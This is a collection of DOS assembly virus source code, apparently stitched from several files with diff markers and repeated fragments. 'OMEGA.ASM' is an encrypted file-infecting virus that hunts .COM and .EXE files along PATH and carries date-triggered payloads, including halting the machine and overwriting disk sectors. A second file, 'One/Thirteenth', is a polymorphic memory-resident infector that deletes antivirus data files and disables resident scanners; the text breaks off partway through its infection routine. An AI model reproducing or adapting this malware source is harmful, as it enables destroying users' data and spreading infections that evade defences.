jle skip03 ; If less that or equal, skip effect
call get_hour
cmp ax,000Fh ; Did the function return 15?
jge skip03 ; If greater than or equal, skip effect
jmp short strt03 ; Success -- skip jump
skip03: jmp end03 ; Skip the routine
strt03: int 018h ; Drop to ROM BASIC
end03: call get_month
cmp ax,000Ch ; Did the function return 12?
jne skip04 ; If not equal, skip effect
call get_day
cmp ax,0002h ; Did the function return 2?
jle skip04 ; If less that or equal, skip effect
cmp ax,0002h ; Did the function return 2?
jge skip04 ; If greater than or equal, skip effect
jmp short strt04 ; Success -- skip jump
skip04: jmp end04 ; Skip the routine
strt04: cli ; Clear the interrupt flag
hlt ; HaLT the computer
jmp short $ ; Just to make sure
end04: call get_year
cmp ax,07CDh ; Did the function return 1997?
jle skip05 ; If less that or equal, skip effect
call get_month
cmp ax,0001h ; Did the function return 1?
jne skip05 ; If not equal, skip effect
call get_hour
cmp ax,0005h ; Did the function return 5?
jle skip05 ; If less that or equal, skip effect
cmp ax,000Fh ; Did the function return 15?
jge skip05 ; If greater than or equal, skip effect
call get_second
cmp ax,0001h ; Did the function return 1?
jne skip05 ; If not equal, skip effect
jmp short strt05 ; Success -- skip jump
skip05: jmp end05 ; Skip the routine
strt05: mov si,offset data00 ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
end05: call get_year
cmp ax,07CDh ; Did the function return 1997?
jle skip06 ; If less that or equal, skip effect
call get_month
cmp ax,0001h ; Did the function return 1?
jle skip06 ; If less that or equal, skip effect
call get_hour
cmp ax,0009h ; Did the function return 9?
jle skip06 ; If less that or equal, skip effect
cmp ax,000Fh ; Did the function return 15?
jge skip06 ; If greater than or equal, skip effect
call get_second
cmp ax,0005h ; Did the function return 5?
jne skip06 ; If not equal, skip effect
jmp short strt06 ; Success -- skip jump
skip06: jmp end06 ; Skip the routine
strt06: mov ax,0002h ; First argument is 2
mov cx,423Fh ; Second argument is 16959
cli ; Disable interrupts (no Ctrl-C)
cwd ; Clear DX (start with sector 0)
int 026h ; DOS absolute write interrupt
sti ; Restore interrupts
end06: mov ax,04C00h ; DOS terminate function
int 021h
main endp
db 0FDh,0C8h,006h,0C6h,0DFh
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,135 ; Allocate 135 bytes on stack
mov byte ptr [bp - 135],'\' ; Start with a backslash
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 134] ; SI points to 64-byte buffer
int 021h
call traverse_path ; Start the traversal
traversal_loop: cmp word ptr [path_ad],0 ; Was the search unsuccessful?
je done_searching ; If so then we're done
call found_subdir ; Otherwise copy the subdirectory
mov ax,cs ; AX holds the code segment
mov ds,ax ; Set the data and extra
mov es,ax ; segments to the code segment
xor al,al ; Zero AL
stosb ; NULL-terminate the directory
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 70] ; DX points to the directory
int 021h
mov dx,offset com_mask ; DX points to "*.COM"
call find_files ; Try to infect a .COM file
jnc done_searching ; If successful the exit
mov dx,offset exe_mask ; DX points to "*.EXE"
call find_files ; Try to infect an .EXE file
jnc done_searching ; If successful the exit
jmp short traversal_loop ; Keep checking the PATH
done_searching: mov ah,03Bh ; DOS change directory function
lea dx,[bp - 135] ; DX points to old directory
int 021h
cmp word ptr [path_ad],0 ; Did we run out of directories?
jne at_least_tried ; If not then exit
stc ; Set the carry flag for failure
at_least_tried: mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
com_mask db "*.COM",0 ; Mask for all .COM files
exe_mask db "*.EXE",0 ; Mask for all .EXE files
search_files endp
traverse_path proc near
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
xor di,di ; DI holds the starting offset
find_path: mov si,offset path_string ; SI points to "PATH="
lodsb ; Load the "P" into AL
mov cx,08000h ; Check the first 32767 bytes
repne scasb ; Search until the byte is found
mov cx,4 ; Check the next four bytes
check_next_4: lodsb ; Load the next letter of "PATH="
scasb ; Compare it to the environment
jne find_path ; If there not equal try again
loop check_next_4 ; Otherwise keep checking
mov word ptr [path_ad],di ; Save the PATH address for later
mov word ptr [path_ad + 2],es ; Save PATH's segment for later
ret ; Return to caller
path_string db "PATH=" ; The PATH string to search for
path_ad dd ? ; Holds the PATH's address
traverse_path endp
found_subdir proc near
lds si,dword ptr [path_ad] ; DS:SI points to the PATH
lea di,[bp - 70] ; DI points to the work buffer
push cs ; Transfer CS into ES for
pop es ; byte transfer
move_subdir: lodsb ; Load the next byte into AL
cmp al,';' ; Have we reached a separator?
je moved_one ; If so we're done copying
or al,al ; Are we finished with the PATH?
je moved_last_one ; If so get out of here
stosb ; Store the byte at ES:DI
jmp short move_subdir ; Keep transfering characters
moved_last_one: xor si,si ; Zero SI to signal completion
moved_one: mov word ptr es:[path_ad],si; Store SI in the path address
ret ; Return to caller
found_subdir endp
db 0BFh,0C0h,0BDh,072h,05Fh
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
db 0A9h,06Bh,0DAh,081h,0AFh
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes?
jne infection_done ; If it is then exit
cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM?
je infection_done ; If it is then skip it
cmp word ptr [si + 01Ah],(finish - start)
jb infection_done ; If it's too small then exit
mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,4 ; CX holds bytes to read (4)
mov dx,offset buffer ; DX points to buffer
int 021h
mov ah,03Eh ; DOS close file function
int 021h
push si ; Save DTA address before compare
mov si,offset buffer ; SI points to comparison buffer
mov di,offset flag ; DI points to virus flag
mov cx,4 ; CX holds number of bytes (4)
rep cmpsb ; Compare the first four bytes
pop si ; Restore DTA address
je infection_done ; If equal then exit
mov byte ptr [set_carry],1 ; Success -- the file is OK
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
ret ; Return to caller
buffer db 4 dup (?) ; Buffer to hold test data
set_carry db ? ; Set-carry-on-exit flag
infect_file endp
db 0F1h,0F6h,003h,06Bh,099h
get_day proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dl ; Copy day into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_day endp
db 0CDh,005h,004h,026h,0CFh
get_hour proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,ch ; Copy hour into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_hour endp
db 0F3h,06Ah,0F8h,002h,08Ah
get_month proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dh ; Copy month into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_month endp
db 0A8h,000h,015h,081h,0E7h
get_second proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,dh ; Copy second into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_second endp
db 03Fh,0FFh,089h,057h,0F2h
get_year proc near
mov ah,02Ah ; DOS get date function
int 021h
xchg cx,ax ; Transfer the year into AX
ret ; Return to caller
get_year endp
data00:
db "Says the OMEGA virus:"
db "It has been nice playing these games with you but now it is all over."
db "[...I am the Alpha and the Omega, the begining and the end.]"
db "-Rev 22:6"
db "Your C drive is being raptured!"
db "[...It is finished...]"
db "-Rev 16:17"
db "____________"
db "/ \"
db "| |"
db "| |"
db "| |"
db "\ \ / /"
db "\______\ /______/"
db "Omega"
db "(The End)"
vcl_marker db "[VCL]",0 ; VCL creation marker
encrypt_code proc near
mov si,offset encrypt_decrypt; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 8],dx ; Low word of timer is new key
xor byte ptr [si],1 ;
xor byte ptr [si + 7],1 ; Change all SIs to DIs
xor word ptr [si + 10],0101h; (and vice-versa)
mov di,offset finish ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
mov si,offset write_stuff ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
mov dx,offset start ; DX points to virus
call finish ; Encrypt/write/decrypt
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
mov si,offset start_of_code ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
@@ -0,0 +1,540 @@
; OMEGA.ASM -- Omega: The End
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Noinger
virus_type equ 1 ; Overwriting Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
flag: add bx,0
xchg bx,ax
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
mov bx,offset null_vector ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
mov cx,0014h ; Do 20 infections
search_loop: push cx ; Save CX
call search_files ; Find and infect a file
pop cx ; Restore CX
loop search_loop ; Repeat until CX is 0
call get_month
cmp ax,0009h ; Did the function return 9?
jle skip00 ; If less that or equal, skip effect
call get_day
cmp ax,0010h ; Did the function return 16?
jle skip00 ; If less that or equal, skip effect
call get_hour
cmp ax,0009h ; Did the function return 9?
jle skip00 ; If less that or equal, skip effect
cmp ax,000Fh ; Did the function return 15?
jge skip00 ; If greater than or equal, skip effect
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: mov cx,423Fh ; First argument is 16959
new_shot: push cx ; Save the current count
mov dx,0140h ; DX holds pitch
mov bx,0100h ; BX holds shot duration
in al,061h ; Read the speaker port
and al,11111100b ; Turn off the speaker bit
fire_shot: xor al,2 ; Toggle the speaker bit
out 061h,al ; Write AL to speaker port
add dx,09248h ;
mov cl,3 ;
ror dx,cl ; Figure out the delay time
mov cx,dx ;
and cx,01FFh ;
or cx,10 ;
shoot_pause: loop shoot_pause ; Delay a bit
dec bx ; Are we done with the shot?
jnz fire_shot ; If not, pulse the speaker
and al,11111100b ; Turn off the speaker bit
out 061h,al ; Write AL to speaker port
mov bx,0002h ; BX holds delay time (ticks)
xor ah,ah ; Get time function
int 1Ah ; BIOS timer interrupt
add bx,dx ; Add current time to delay
shoot_delay: int 1Ah ; Get the time again
cmp dx,bx ; Are we done yet?
jne shoot_delay ; If not, keep checking
pop cx ; Restore the count
loop new_shot ; Do another shot
mov si,0001h ; First argument is 1
push es ; Save ES
xor ax,ax ; Set the extra segment to
mov es,ax ; zero (ROM BIOS)
shl si,1 ; Convert to word index
mov word ptr [si + 03FEh],0 ; Zero COM port address
pop es ; Restore ES
end00: call get_month
cmp ax,0009h ; Did the function return 9?
jne skip01 ; If not equal, skip effect
call get_day
cmp ax,0004h ; Did the function return 4?
jle skip01 ; If less that or equal, skip effect
jmp short strt01 ; Success -- skip jump
skip01: jmp end01 ; Skip the routine
strt01: db 0EAh,000h,000h,0FFh,0FFh ; jmp far FFFFh:0000h
end01: call get_month
cmp ax,0001h ; Did the function return 1?
jne skip02 ; If not equal, skip effect
call get_day
cmp ax,0001h ; Did the function return 1?
jle skip02 ; If less that or equal, skip effect
call get_hour
cmp ax,000Fh ; Did the function return 15?
jge skip02 ; If greater than or equal, skip effect
jmp short strt02 ; Success -- skip jump
skip02: jmp end02 ; Skip the routine
strt02: mov bx,0001h ; First argument is 1
mov si,0002h ; Second argument is 2
push es ; Save ES
xor ax,ax ; Set the extra segment to
mov es,ax ; zero (ROM BIOS)
shl bx,1 ; Convert to word index
shl si,1 ; Convert to word index
mov ax,word ptr [bx + 03FEh]; Zero COM port address
xchg word ptr [si + 03FEh],ax; Put first value in second,
mov word ptr [bx + 03FEh],ax; and second value in first!
pop es ; Restore ES
end02: call get_month
cmp ax,000Bh ; Did the function return 11?
jne skip03 ; If not equal, skip effect
call get_day
cmp ax,0004h ; Did the function return 4?
jle skip03 ; If less that or equal, skip effect
call get_hour
cmp ax,000Fh ; Did the function return 15?
jge skip03 ; If greater than or equal, skip effect
jmp short strt03 ; Success -- skip jump
skip03: jmp end03 ; Skip the routine
strt03: int 018h ; Drop to ROM BASIC
end03: call get_month
cmp ax,000Ch ; Did the function return 12?
jne skip04 ; If not equal, skip effect
call get_day
cmp ax,0002h ; Did the function return 2?
jle skip04 ; If less that or equal, skip effect
cmp ax,0002h ; Did the function return 2?
jge skip04 ; If greater than or equal, skip effect
jmp short strt04 ; Success -- skip jump
skip04: jmp end04 ; Skip the routine
strt04: cli ; Clear the interrupt flag
hlt ; HaLT the computer
jmp short $ ; Just to make sure
end04: call get_year
cmp ax,07CDh ; Did the function return 1997?
jle skip05 ; If less that or equal, skip effect
call get_month
cmp ax,0001h ; Did the function return 1?
jne skip05 ; If not equal, skip effect
call get_hour
cmp ax,0005h ; Did the function return 5?
jle skip05 ; If less that or equal, skip effect
cmp ax,000Fh ; Did the function return 15?
jge skip05 ; If greater than or equal, skip effect
call get_second
cmp ax,0001h ; Did the function return 1?
jne skip05 ; If not equal, skip effect
jmp short strt05 ; Success -- skip jump
skip05: jmp end05 ; Skip the routine
strt05: mov si,offset data00 ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
end05: call get_year
cmp ax,07CDh ; Did the function return 1997?
jle skip06 ; If less that or equal, skip effect
call get_month
cmp ax,0001h ; Did the function return 1?
jle skip06 ; If less that or equal, skip effect
call get_hour
cmp ax,0009h ; Did the function return 9?
jle skip06 ; If less that or equal, skip effect
cmp ax,000Fh ; Did the function return 15?
jge skip06 ; If greater than or equal, skip effect
call get_second
cmp ax,0005h ; Did the function return 5?
jne skip06 ; If not equal, skip effect
jmp short strt06 ; Success -- skip jump
skip06: jmp end06 ; Skip the routine
strt06: mov ax,0002h ; First argument is 2
mov cx,423Fh ; Second argument is 16959
cli ; Disable interrupts (no Ctrl-C)
cwd ; Clear DX (start with sector 0)
int 026h ; DOS absolute write interrupt
sti ; Restore interrupts
end06: mov ax,04C00h ; DOS terminate function
int 021h
main endp
db 0FDh,0C8h,006h,0C6h,0DFh
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,135 ; Allocate 135 bytes on stack
mov byte ptr [bp - 135],'\' ; Start with a backslash
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 134] ; SI points to 64-byte buffer
int 021h
call traverse_path ; Start the traversal
traversal_loop: cmp word ptr [path_ad],0 ; Was the search unsuccessful?
je done_searching ; If so then we're done
call found_subdir ; Otherwise copy the subdirectory
mov ax,cs ; AX holds the code segment
mov ds,ax ; Set the data and extra
mov es,ax ; segments to the code segment
xor al,al ; Zero AL
stosb ; NULL-terminate the directory
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 70] ; DX points to the directory
int 021h
mov dx,offset com_mask ; DX points to "*.COM"
call find_files ; Try to infect a .COM file
jnc done_searching ; If successful the exit
mov dx,offset exe_mask ; DX points to "*.EXE"
call find_files ; Try to infect an .EXE file
jnc done_searching ; If successful the exit
jmp short traversal_loop ; Keep checking the PATH
done_searching: mov ah,03Bh ; DOS change directory function
lea dx,[bp - 135] ; DX points to old directory
int 021h
cmp word ptr [path_ad],0 ; Did we run out of directories?
jne at_least_tried ; If not then exit
stc ; Set the carry flag for failure
at_least_tried: mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
com_mask db "*.COM",0 ; Mask for all .COM files
exe_mask db "*.EXE",0 ; Mask for all .EXE files
search_files endp
traverse_path proc near
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
xor di,di ; DI holds the starting offset
find_path: mov si,offset path_string ; SI points to "PATH="
lodsb ; Load the "P" into AL
mov cx,08000h ; Check the first 32767 bytes
repne scasb ; Search until the byte is found
mov cx,4 ; Check the next four bytes
check_next_4: lodsb ; Load the next letter of "PATH="
scasb ; Compare it to the environment
jne find_path ; If there not equal try again
loop check_next_4 ; Otherwise keep checking
mov word ptr [path_ad],di ; Save the PATH address for later
mov word ptr [path_ad + 2],es ; Save PATH's segment for later
ret ; Return to caller
path_string db "PATH=" ; The PATH string to search for
path_ad dd ? ; Holds the PATH's address
traverse_path endp
found_subdir proc near
lds si,dword ptr [path_ad] ; DS:SI points to the PATH
lea di,[bp - 70] ; DI points to the work buffer
push cs ; Transfer CS into ES for
pop es ; byte transfer
move_subdir: lodsb ; Load the next byte into AL
cmp al,';' ; Have we reached a separator?
je moved_one ; If so we're done copying
or al,al ; Are we finished with the PATH?
je moved_last_one ; If so get out of here
stosb ; Store the byte at ES:DI
jmp short move_subdir ; Keep transfering characters
moved_last_one: xor si,si ; Zero SI to signal completion
moved_one: mov word ptr es:[path_ad],si; Store SI in the path address
ret ; Return to caller
found_subdir endp
db 0BFh,0C0h,0BDh,072h,05Fh
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
db 0A9h,06Bh,0DAh,081h,0AFh
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes?
jne infection_done ; If it is then exit
cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM?
je infection_done ; If it is then skip it
cmp word ptr [si + 01Ah],(finish - start)
jb infection_done ; If it's too small then exit
mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,4 ; CX holds bytes to read (4)
mov dx,offset buffer ; DX points to buffer
int 021h
mov ah,03Eh ; DOS close file function
int 021h
push si ; Save DTA address before compare
mov si,offset buffer ; SI points to comparison buffer
mov di,offset flag ; DI points to virus flag
mov cx,4 ; CX holds number of bytes (4)
rep cmpsb ; Compare the first four bytes
pop si ; Restore DTA address
je infection_done ; If equal then exit
mov byte ptr [set_carry],1 ; Success -- the file is OK
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
ret ; Return to caller
buffer db 4 dup (?) ; Buffer to hold test data
set_carry db ? ; Set-carry-on-exit flag
infect_file endp
db 0F1h,0F6h,003h,06Bh,099h
get_day proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dl ; Copy day into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_day endp
db 0CDh,005h,004h,026h,0CFh
get_hour proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,ch ; Copy hour into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_hour endp
db 0F3h,06Ah,0F8h,002h,08Ah
get_month proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dh ; Copy month into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_month endp
db 0A8h,000h,015h,081h,0E7h
get_second proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,dh ; Copy second into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_second endp
db 03Fh,0FFh,089h,057h,0F2h
get_year proc near
mov ah,02Ah ; DOS get date function
int 021h
xchg cx,ax ; Transfer the year into AX
ret ; Return to caller
get_year endp
data00:
db "Says the OMEGA virus:"
db "It has been nice playing these games with you,
db "...but now it is all over."
db "[...I am the Alpha and the Omega, the begining and the end.]"
db "-Rev 22:6"
db "Your C drive is being raptured!"
db "[...It is finished...]"
db "-Rev 16:17"
db "____________"
db "/ \"
db "| |"
db "| |"
db "| |"
db "\ \ / /"
db "\______\ /______/"
db "Omega"
db "(The End)"
vcl_marker db "[VCL]",0 ; VCL creation marker
encrypt_code proc near
mov si,offset encrypt_decrypt; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 8],dx ; Low word of timer is new key
xor byte ptr [si],1 ;
xor byte ptr [si + 7],1 ; Change all SIs to DIs
xor word ptr [si + 10],0101h; (and vice-versa)
mov di,offset finish ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
mov si,offset write_stuff ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
mov dx,offset start ; DX points to virus
call finish ; Encrypt/write/decrypt
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
mov si,offset start_of_code ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
@@ -0,0 +1,429 @@
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
; One/Thirteenth - coded by ûirogen [NuKE] on 02-23-95
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
; -Polymorphic, Memory-Resident, Parastic COM & EXE Infector
; -Deletes Invircible Signature Files from disk no matter what name
; they are under.
; -Also deletes ANTI-VIR.DAT, CHKLIST.MS, and CHKLIST.CPS.
; -Avoids Infecting InVircible Bait Files
; -Disables VSAFE/VWATCH if in memory
; -Avoids new format EXEs
; -Installs it's own INT 24h
; -EXE Id is: Checksum Not 0
; -COM Id is: Fourth byte 0
; -Resident Check: VSAFE/VWATCH API , ret:SI=0
;
; Polymorphism: ûiCE v0.3á /w JMPS ON & ANTI-TBSCAN CODE ON
;
;
;
cseg segment
assume cs: cseg, ds: cseg, es: cseg, ss: cseg
signal equ 0FA01h ; AX=signal/INT 21h/installation chk
vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API
buf_size equ 170
vice_size equ 1761+buf_size
virus_size equ (offset vend-offset start)+VICE_SIZE
extrn _vice: near
org 0h
start:
int 3
call nx ; get relative offset
nx: mov si,sp ; no-heuristic
sub word ptr ss: [si],offset nx
mov bp,word ptr ss: [si]
add sp,2
push ds es ; save segments for EXE
inc si
mov ax,1000
add ax,signal-1000 ; no heuristics m0n
mov dx,vsafe_word
int 21h
or si,si
jz no_install ; if carry then we are
mov ax,ds ; PSP segment
dec ax ; mcb below PSP m0n
mov ds,ax ; DS=MCB seg
mov al,'Z' ; no heuristics
cmp byte ptr ds: [0],al ; Is this the last MCB in chain?
jnz no_install
sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB
sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP
mov es,word ptr ds: [12h] ; get high mem seg
push cs
pop ds
mov si,bp
mov cx,virus_size/2+1
xor di,di
rep movsw ; copy code to new seg
xor ax,ax
mov ds,ax ; null ds
push ds
lds ax,ds: [21h*4] ; get 21h vector
mov es: word ptr old21+2,ds ; save S:O
mov es: word ptr old21,ax
pop ds
mov ds: [21h*4+2],es ; new int 21h seg
mov ds: [21h*4],offset new21 ; new offset
sub byte ptr ds: [413h],((virus_size+1023)*2)/1024 ;-totalmem
no_install:
pop es ds ; restore ES DS
xor ax,ax ; null regs
xor bx,bx
xor dx,dx
cmp cs: is_exe[bp],1
jz exe_return
lea si,org_bytes[bp] ; com return
mov di,0100h ; -restore first 4 bytes
mov cx,2
rep movsw
mov cx,100h ; jump back to 100h
push cx
_ret: ret
exe_return:
mov cx,ds ; calc. real CS
add cx,10h
add word ptr cs: [exe_jump+2+bp],cx
int 3 ; fix prefetch
db 0eah
exe_jump dd 0
is_exe db 0
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Main Infection Routine
;
infect_file:
push dx
pop si
push ds
xor ax,ax ; null ES
mov es,ax
lds ax,es: [24h*4] ; get INT 24h vector
mov cs: old_24_off,ax ; save it
mov cs: old_24_seg,ds
mov es: [24h*4+2],cs ; install our handler
mov es: [24h*4],offset new_24
pop ds
push es ; we'll need it later
push cs
pop es
mov ax,4300h ; get phile attribute
int 21h
mov ax,4301h ; null attribs
push ax cx ; save AX-call/CX-attrib
xor cx,cx
int 21h
mov ax,3d02h ; open the file
int 21h
jc dont_do
mov bx,ax ; get handle
push cs
pop ds
mov ah,3fh ; Read first bytes of file
mov cx,20h
lea dx,org_bytes
int 21h
call kill_anti_virus ; kill validation filez
cmp byte ptr org_bytes,'M'
jz do_exe
cmp byte ptr org_bytes,90h ; InVircible bait?
jz close
cmp byte ptr org_bytes+3,0
jz close
mov is_exe,0
mov ax,5700h ; get time/date
int 21h
push cx dx
call offset_end
push ax ; AX=end of file
lea si,start ; DS:SI=start of code to encrypt
mov di,virus_size ; ES:DI=address for decryptor/
push di ; encrypted code. (at heap)
mov cx,virus_size ; CX=virus size
mov dx,ax ; DX=EOF offset
add dx,100h ; DX=offset decryptor will run from
mov al,00001111b ; jmps,anti-tbscan, garbage, no CS:
call _vice ; call engine!
pop dx
mov ah,40h
int 21h
call offset_zero
pop ax ; restore COM file size
sub ax,3 ; calculate jmp offset
mov word ptr new_jmp+1,ax
lea dx,new_jmp
mov cx,4
mov ah,40h
int 21h
